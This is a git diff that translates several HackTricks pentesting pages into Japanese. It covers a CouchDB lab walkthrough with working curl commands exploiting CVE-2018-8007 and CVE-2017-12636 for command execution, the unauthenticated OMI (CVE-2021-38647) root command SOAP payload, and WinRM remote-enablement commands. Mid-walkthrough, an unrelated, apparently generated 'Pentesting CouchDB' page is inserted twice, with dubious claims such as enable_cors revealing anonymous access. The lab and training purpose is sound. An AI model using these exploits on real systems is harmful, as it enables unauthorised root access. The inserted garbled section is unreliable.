RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\ -Also, you can read some **Canape HTB machine writeup** [**like this one**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) to see and **practice** how to **exploit this vuln**. +### **local.iniの書き込み権限を持つCVE-2018-8007の成功例** -### **Successful CVE-2018-8007 with local.ini write permissions** - -In writing this post, I found a new CVE had been released for CouchDB from mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). It also requires writes to the `local.ini` file, so it isn’t a useful option for Canape. But since I’ve already made it writable as root, let’s see if we can get it to work. - -Start with a clean and now writable `local.ini` (and a backup): +この記事を書いている間に、mdsecからCouchDBの新しいCVEがリリースされたことがわかりました。[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)です。これも`local.ini`ファイルへの書き込みが必要ですので、Canapeには有用なオプションではありません。しかし、既にrootとして書き込み可能にしているので、動作するか試してみましょう。 +クリーンな状態から始め、書き込み可能な`local.ini`(およびバックアップ)を用意します。 ``` root@canape:/home/homer/etc# ls -l total 40 @@ -189,15 +215,11 @@ total 40 -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` - -We can use curl to modify the origins in the `local.ini` file. The vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. So we’ll take advantage of the `[os_daemons]` field, and add a process for CouchDB to try to keep running: - +`local.ini`ファイルでオリジンを変更するために、curlを使用することができます。ここでの脆弱性は、curlを使用して新しいオリジンと改行を追加すると、新しいヘッダーや詳細を含む追加の情報を書き込むことができることです。したがって、`[os_daemons]`フィールドを利用し、CouchDBが実行し続けるようにするためのプロセスを追加します。 ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` - -In the root shell, we can see what changes: - +ルートシェルで、私たちはどの変更が見えるかを確認することができます。 ``` root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 @@ -208,16 +230,12 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` - -And yet, the file isn’t there: - +そして、そのファイルは存在しません: ``` root@canape:/home/homer/etc# ls /tmp/0xdf ls: cannot access '/tmp/0xdf': No such file or directory ``` - -If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also `runsrv couchdb`: - +もし私たちが「couchdb」を含むコマンドラインで実行されているプロセスを見ると、私たちは以前使用したクッキーの値を提供してくれるコマンドラインだけでなく、`runsrv couchdb`も見ることができます。 ``` root@canape:/home/homer/bin# ps aux | grep couch root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb @@ -225,33 +243,27 @@ root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /va homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config ``` - -If we kill that process, it comes right back (notice the new pid): - +もし私たちがそのプロセスを終了させると、すぐに復活します(新しいpidに注目してください): ``` root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ps aux | grep runsrv root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv ``` - -And, on restart, runs the OS\_Daemons: - +そして、再起動時にはOS\_Daemonsが実行されます: ``` root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` +### **ローカル.iniの書き込み権限を利用したCVE-2017-12636による成功した試み** -### **Successful Attempt Via CVE-2017-12636 with local.ini write permissions** +CVE-2017-12636を利用すると、couchdbプロセスを介してコードを実行することができます。ただし、この構成では機能しません。 -CVE-2017-12636 allows for code execution through the couchdb process. However, it won’t work in this configuration. - -There are a few POCs out there as reference: +参考となるいくつかのPOCがあります: * [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) * [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/) -We’d need to write a new query\_server, and then invoke that. When Canape was released, most of the POCs were for couchdb 1.x, but this box is running 2, so the query\_servers path from most of the POCs doesn’t exist. That’s changed now, but we’ll walk the same steps. First, get the version, and show that the 1.X path doesn’t exist: - +新しいquery\_serverを書き込み、それを呼び出す必要があります。Canapeがリリースされた当時、ほとんどのPOCはcouchdb 1.x向けでしたが、このボックスは2を実行しているため、ほとんどのPOCのquery\_serversパスは存在しません。これは変わりましたが、同じ手順を踏みます。まず、バージョンを取得し、1.Xのパスが存在しないことを示します: ```bash www-data@canape:/var/www/git$ curl http://localhost:5984 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} @@ -259,9 +271,137 @@ www-data@canape:/var/www/git$ curl http://localhost:5984 www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/ {"error":"not_found","reason":"Database does not exist."} ``` +以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/network-services-pentesting/5984-pentesting-couchdb.md ファイルからのものです。 -Update with the new path for 2.0: +```markdown +# Pentesting CouchDB +## Introduction + +CouchDB is a NoSQL database that uses JSON to store data. It is widely used in web applications and provides a RESTful API for data access. In this section, we will explore various techniques for pentesting CouchDB. + +## Enumeration + +### Version Detection + +To determine the version of CouchDB, you can send an HTTP GET request to the `/_utils/` endpoint. The response will include the version number. + +```bash +GET /_utils/ +``` + +### Database Enumeration + +To enumerate the databases in CouchDB, you can send an HTTP GET request to the `/_all_dbs` endpoint. The response will include a list of all the databases. + +```bash +GET /_all_dbs +``` + +## Exploitation + +### Unauthorized Access + +CouchDB may have misconfigured permissions, allowing unauthorized access to the databases. You can check if anonymous access is enabled by sending an HTTP GET request to the `/_config/httpd/enable_cors` endpoint. If the response includes `"true"`, anonymous access is enabled. + +```bash +GET /_config/httpd/enable_cors +``` + +### Document Retrieval + +To retrieve a document from a specific database, you can send an HTTP GET request to the `/{database}/{document_id}` endpoint. Replace `{database}` with the name of the database and `{document_id}` with the ID of the document. + +```bash +GET /{database}/{document_id} +``` + +### Document Modification + +If you have write access to a database, you can modify a document by sending an HTTP PUT request to the `/{database}/{document_id}` endpoint. Replace `{database}` with the name of the database and `{document_id}` with the ID of the document. Include the updated JSON data in the request body. + +```bash +PUT /{database}/{document_id} +``` + +### Database Creation + +If you have the necessary permissions, you can create a new database by sending an HTTP PUT request to the `/{database}` endpoint. Replace `{database}` with the name of the new database. + +```bash +PUT /{database} +``` + +## Conclusion + +In this section, we have covered various techniques for pentesting CouchDB. It is important to properly secure CouchDB installations to prevent unauthorized access and data leaks. +``` + +新しいパスに更新: + +```markdown +# Pentesting CouchDB + +## Introduction + +CouchDBは、データを保存するためにJSONを使用するNoSQLデータベースです。Webアプリケーションで広く使用され、データアクセスのためのRESTful APIを提供しています。このセクションでは、CouchDBのペントテストのさまざまな技術について調査します。 + +## Enumeration + +### Version Detection + +CouchDBのバージョンを特定するには、`/_utils/` エンドポイントにHTTP GETリクエストを送信します。レスポンスにはバージョン番号が含まれます。 + +```bash +GET /_utils/ +``` + +### Database Enumeration + +CouchDBのデータベースを列挙するには、`/_all_dbs` エンドポイントにHTTP GETリクエストを送信します。レスポンスにはすべてのデータベースのリストが含まれます。 + +```bash +GET /_all_dbs +``` + +## Exploitation + +### Unauthorized Access + +CouchDBは、誤った許可設定により、データベースへの不正なアクセスが許可される場合があります。匿名アクセスが有効化されているかどうかを確認するには、`/_config/httpd/enable_cors` エンドポイントにHTTP GETリクエストを送信します。レスポンスに `"true"` が含まれている場合、匿名アクセスが有効化されています。 + +```bash +GET /_config/httpd/enable_cors +``` + +### Document Retrieval + +特定のデータベースからドキュメントを取得するには、`/{database}/{document_id}` エンドポイントにHTTP GETリクエストを送信します。`{database}` をデータベースの名前、`{document_id}` をドキュメントのIDに置き換えます。 + +```bash +GET /{database}/{document_id} +``` + +### Document Modification + +データベースへの書き込みアクセス権がある場合、HTTP PUTリクエストを `/{database}/{document_id}` エンドポイントに送信することで、ドキュメントを変更できます。`{database}` をデータベースの名前、`{document_id}` をドキュメントのIDに置き換えます。リクエストボディに更新されたJSONデータを含めます。 + +```bash +PUT /{database}/{document_id} +``` + +### Database Creation + +必要な権限がある場合、新しいデータベースを作成するには、HTTP PUTリクエストを `/{database}` エンドポイントに送信します。`{database}` を新しいデータベースの名前に置き換えます。 + +```bash +PUT /{database} +``` + +## Conclusion + +このセクションでは、CouchDBのペントテストのさまざまな技術をカバーしました。不正なアクセスやデータの漏洩を防ぐために、CouchDBのインストールを適切にセキュアにすることが重要です。 +``` ```bash www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership' {"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]} @@ -269,30 +409,22 @@ www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership' www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers {"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"} ``` - -From there, we should add a query\_server and then invoke it, but we aren’t able to. - +そこから、query\_serverを追加してそれを呼び出す必要がありますが、私たちはそれができません。 ```bash www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' {"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159} ``` - -Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the `local.ini` file is not writable by anyone, let alone www-data: - +いくつかのGoogle検索結果から、これは権限の問題であることがわかります。実際に、rootシェルで確認すると、`local.ini`ファイルは誰にも書き込み権限がありません。特にwww-dataユーザーにもありません。 ``` root@canape:/home/home/etc# ls -ls local.ini 8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini ``` - -So that’s a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. We’ll make a backup of the original so we can see what changes: - +それでは、Canapeは行き詰まりです。しかし、動作させるために試みたい場合は、rootまたはhomerアクセスで読み取り可能にすることができ、この経路を続けることができます。変更内容を確認するために、元のバックアップを作成します。 ``` root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b root@canape:/# chmod 666 /home/homer/etc/local.ini ``` - -Now, back to our www-data shell: - +さて、www-dataシェルに戻りましょう: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' "" @@ -302,9 +434,7 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couch www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' "" ``` - -We get back the previous value for the cmd query server, which means success. And in the root shell, we can see it worked: - +前の値を取得することで、cmdクエリーサーバーが成功したことがわかります。そして、ルートシェルでは、それが機能したことが確認できます。 ``` root@canape:/home/homer/etc# diff local.ini local.ini.bk 48c48 @@ -312,11 +442,9 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk --- > cmd = ``` +今、私たちはdbを作成し、そのdb内にドキュメントを作成し、クエリ\_サーバーにマップされたビューを使用してリクエストを実行できるはずです。 -Now, we should be able to create a db, and then a document in that db, and the request it with a view that maps our query\_server to get execution. - -Create db and document: - +dbとドキュメントを作成する: ```bash www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' ["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"] @@ -340,20 +468,17 @@ www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' {"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"} ``` - -Request it in a view: - +ビューでリクエストしてください: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json" ``` - -#### [Summary](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) with a different payload +#### [要約](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) - 異なるペイロード ## Shodan * `port:5984 couchdb` -## References +## 参考文献 * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) @@ -362,14 +487,14 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/network-services-pentesting/5985-5986-pentesting-omi.md b/network-services-pentesting/5985-5986-pentesting-omi.md index 97da443eb..6ad873dcb 100644 --- a/network-services-pentesting/5985-5986-pentesting-omi.md +++ b/network-services-pentesting/5985-5986-pentesting-omi.md @@ -1,20 +1,20 @@ -# 5985,5986 - Pentesting OMI +# 5985,5986 - OMIのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -OMI is an [open-source](https://github.com/microsoft/omi) remote configuration management tool developed by Microsoft. OMI agents are commonly found installed on Azure Linux servers when the following services are in use: +OMIは、Microsoftによって開発されたオープンソースのリモート構成管理ツールです。OMIエージェントは、以下のサービスが使用されている場合によくAzure Linuxサーバーにインストールされています。 * Azure Automation * Azure Automatic Update @@ -23,35 +23,33 @@ OMI is an [open-source](https://github.com/microsoft/omi) remote configuration m * Azure Configuration Management * Azure Diagnostics -When these services are configured, the omiengine process will listen on all interfaces and being running as the root user. +これらのサービスが構成されている場合、omiengineプロセスはすべてのインターフェースでリッスンし、rootユーザーとして実行されます。
-**Default port:** 5985(http), 5986(https) +**デフォルトポート:** 5985(http), 5986(https) ## [CVE-2021-38647](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647) -As of September 16, newly created Linux servers in Azure are still packaged with a vulnerable version of the OMI agent. After deploying a Linux server and enabling one the services listed above, the server will be in a vulnerable state. +2021年9月16日現在、Azureで新しく作成されたLinuxサーバーは、依然として脆弱なバージョンのOMIエージェントがパッケージ化されています。Linuxサーバーを展開し、上記のサービスのいずれかを有効にすると、サーバーは脆弱な状態になります。 -The OMI server receives configuration management messages via the /wsman endpoint. Typically, an Authentication header is passed along with the message and the OMI server will ensure the client is authorized communicate. In this case the vulnerability is that when there is no Authentication header the server incorrectly accepts the message and executes the instruction under the root user. - -By posting an “ExecuteShellCommand” SOAP payload to the server with no Authentication header specified, it will execute the command as root. +OMIサーバーは/wsmanエンドポイントを介して構成管理メッセージを受信します。通常、メッセージとともに認証ヘッダーが渡され、OMIサーバーはクライアントが通信するために認可されていることを確認します。この場合、脆弱性は、認証ヘッダーがない場合にサーバーがメッセージを誤って受け入れ、ルートユーザーの下で命令を実行することです。 +認証ヘッダーが指定されていない状態で「ExecuteShellCommand」SOAPペイロードをサーバーに投稿すると、それはルートとしてコマンドを実行します。 ```xml - - id - 0 - - +... + + +id +0 + + ``` +[https://github.com/horizon3ai/CVE-2021-38647](https://github.com/horizon3ai/CVE-2021-38647)には完全なエクスプロイトがあります。 -Find full exploit in [https://github.com/horizon3ai/CVE-2021-38647](https://github.com/horizon3ai/CVE-2021-38647) - -## References +## 参考文献 * [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/) * [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/) @@ -60,10 +58,10 @@ Find full exploit in [https://github.com/horizon3ai/CVE-2021-38647](https://gith ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/5985-5986-pentesting-winrm.md b/network-services-pentesting/5985-5986-pentesting-winrm.md index 1fe55c432..dd92d67a6 100644 --- a/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -1,99 +1,137 @@ -# 5985,5986 - Pentesting WinRM +# 5985,5986 - WinRMのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する ## WinRM -[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) is a Microsoft protocol that **allows remote management of Windows machines** over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. +[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)(WinRM)は、SOAPを使用してHTTP(S)経由でWindowsマシンをリモートで管理するためのMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。 -If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!) +WinRMがマシンで有効になっている場合、PowerShellから簡単にマシンをリモートで管理できます。実際には、リモートのPowerShellセッションにマシンにドロップインすることができます(SSHを使用しているかのように)。 -The easiest way to detect whether WinRM is available is by seeing if the port is opened. WinRM will listen on one of two ports: +WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開いているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします: -* **5985/tcp (HTTP)** -* **5986/tcp (HTTPS)** +* **5985/tcp(HTTP)** +* **5986/tcp(HTTPS)** -If one of these ports is open, WinRM is configured and you can try entering a remote session. +これらのポートのいずれかが開いている場合、WinRMが構成されており、リモートセッションを試すことができます。 -## **Initiating WinRM Session**. - -We can configure PowerShell to work with WinRM. According to Microsoft documentation, Enable-PSRemoting is a cmdlet that configures the computer to receive PowerShell remote commands. If we have access to an elevated PowerShell prompt on the victim, we cam enable it and add any "attackers" as trusted hosts. We can run the following two commands: +## **WinRMセッションの開始**. +PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピュータをPowerShellリモートコマンドを受け取るように構成するためのコマンドレットです。被害者のエレベートされたPowerShellプロンプトにアクセスできる場合、これを有効にし、任意の「攻撃者」を信頼されたホストとして追加できます。次の2つのコマンドを実行できます: ``` -Enable-PSRemoting -Force +Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` +これにより、trustedhosts設定にワイルドカードが追加されます。それが何を意味するかに注意してください。 _注意: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_ -This adds a wildcard to the trustedhosts setting. Be wary of what that entails. _Note: I also had to change the network type on my attack machine from "Public" to "Work" network._ - -You can also **activate** WinRM **remotely** _\*\*\_using \_wmic_: - +また、_wmic_を使用して、WinRMを**リモートでアクティベート**することもできます。 ``` wmic /node: process call create "powershell enable-psremoting -force" ``` +### 設定のテスト -### Test if configured - -Once the attack machine is configured, use the `Test-WSMan` function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid: +攻撃マシンが設定されたら、`Test-WSMan` 関数を使用してターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid 